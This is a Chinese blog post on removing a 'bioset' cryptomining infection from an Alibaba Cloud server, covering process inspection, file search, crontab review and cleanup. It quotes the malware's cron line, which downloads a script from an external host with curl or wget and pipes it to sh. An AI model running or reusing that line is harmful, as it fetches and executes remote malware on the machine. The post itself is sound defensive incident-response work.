1.问题出现

一大早刚起床,阿里云就给我发了一条短信,提醒我服务器出现紧急安全事件:挖矿程序

阿里云“贴心”地提供了解决方法,不过需要购买企业版的安全服务,本着能自己动手就不花钱原则自己搞了起来

于是赶紧上网查资料解决,相似的问题好多,都是被这些脚本变成了挖矿的“肉鸡”

2.问题排查

1)首先top命令查看到占用CPU最多的进程bioset,判断这个就是所谓的挖矿进程

阿里云服务器挖矿脚本bioset攻击解决-冯金伟博客园 

这里经过网上资料提醒,经过攻击后控制台输出变得不可信,因为病毒很可能重定向或者篡改、隐藏你的输出,有一个busybox可以解决这一问题,这里因为我没有出现这种情况所以没用。

kill掉进程,过一会也会继续出现,说明存在守护进程或者定时同步机制。 

 2)通过进程名寻找文件目录

[root@hadoop1 sbin]# find / -name '*bioset*'
/var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/vje9c1vlq/bk20vm2o/xCkB12/bioset

该目录下存在一个proc_1的脚本文件,推测是守护脚本,直接删除也不行(还有同步机制,接着看)

3)使用 crontab -l 查询任务项,果然有猫腻

[root@hadoop1 sbin]# crontab -l
*/10 * * * * (curl -fsSL --retry 3 -m180 "http://dl.djangocc.com:8080/p?a=p&a2=cron"||wget -q --tries=3 -T180 -O- "http://dl.djangocc.com:8080/p?a=p&a2=cron")|sh

该病毒会每10分钟从djangocc.com上下载shell脚本并执行,这里不能直接执行crontab -e,进去后删除,然后保存退出。这方法压根不行,因为还会继续添加。

3.问题解决

1)先关掉定时crond

systemctl stop crond #关掉定时
systemctl disable crond.service #关掉定时开机自启动

2)删除crontab文件

rm -rf /var/spool/cron/root

3)删除病毒文件

rm -f /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/*

4)根据之前top的病毒PID停止进程

kill -9 2042

5)执行crontab -e进去将所有内容删除,保存退出

crontab -e

6)重启监测,到这里top发现没有bioset,CPU占用也正常

(不过提醒下,可以去阿里云后台再确认下CPU运行是否正常)

阿里云服务器挖矿脚本bioset攻击解决-冯金伟博客园

参考:

https://www.sunjs.com/article/detail/62c7ba45975946f89b3a1cd574a4856e.html